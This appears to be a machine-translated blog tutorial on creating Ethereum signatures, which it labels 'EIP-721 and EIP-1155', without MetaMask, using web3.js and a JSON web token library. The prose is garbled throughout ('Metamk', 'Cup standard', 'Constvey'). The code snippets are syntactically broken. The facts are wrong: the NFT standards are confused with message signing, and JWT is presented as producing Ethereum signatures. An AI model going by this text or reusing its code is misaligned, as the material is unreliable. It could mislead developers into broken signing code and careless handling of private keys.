Generation of EIP-721 and EIP-1155 signatures without using metamask
As a web3 developer, you know the use of important Metamk use for interaction with decentralized programs (DAPP). However, some users may be confronted with problems or restrictions to try to create several EIP-721 and EIP-155 signatures manually by accepting the Metamk Pop. In such cases, these signatures are generated by programming without the use of Metamkk being able to be a challenge.
What are the EIP-721 and EIP-1155 signatures?
Before diving into the decision, let’s review quickly what the EIP-721 and EIP-1155 signatures mean:
* EIP-721 : Non-communicated standard of digital collection elements (NFT). Each NFT is awarded a unique identifier (for example URI or bag).
* EIP-1155 : Cup standard that allows you to create several copies of the same brand without modification.
Generation Signature Programmed
You can use the following methods to generate these programmed signatures without metamasque:
1. Web3.js Use and method eth_sign
You can use the ETH_SIGN method provided by the web3.js library to sign messages with your Ethereum account.
`Javascript
Const web3 = require (web3);
// Define your Ethereum account provider
Const Provider = New Web3.Providers.httpprovider ('
// create a new copy of web3
Const web3 = new web3 (supplier);
// Define the signed message
Const message = 'Your message here ...';
to try {
// Sign the message to your Ethereum account (in this case your private key)
Const Signature = Wait Web3.eth.sign (message, provider.Getaccount ('your_account_address')));
Console.log (generated EIP-721 / GIS: $ {signature});
} Catch (error) {
Console.error (error);
}
'
2. JSONWEBTOKEN LIBRARY LIBRARY Use the ETH_SIGN method
The JSONWEBITIOKEN library is a more practical way to generate signatures using JSON web tokens.
Javascript
Const JWT = require ("JSONWITOKENKING");
// Define your Ethereum account provider
Const Provider = New Web3.Providers.httpprovider ('
// Define your private Ethereum account key
Constvey = 'your_private_key';
to try {
// Sign the message on the Ethereum account (in this case your private key)
Observation notes = jwt.sign ({message: your message here ... '}, privatekey);
Console.log (generated EIP-721 / GIS: $ {signature});
} Catch (error) {
Console.error (error);
}
` ‘
3. Using a third -party library or service
There are several libraries and services from the third country offering EIP-721 and EIP-1155 signature options without the need for a metamasque:
* Ethers.js : open library code to interact with the Ethereum block circuit.
* Hardhat : Javascript system to create decentralized programs (DAP) based on Ethereum.
Once you have created signatures, make sure you keep them safe and follow best practices to manage private keys and unpublished information.
Although these methods can help you create the signatures of EIP-721 and EIP-1155 without using “metamask”, do not forget that they can have restrictions or security aspects. Always give security to security when working with shift data and private keys.
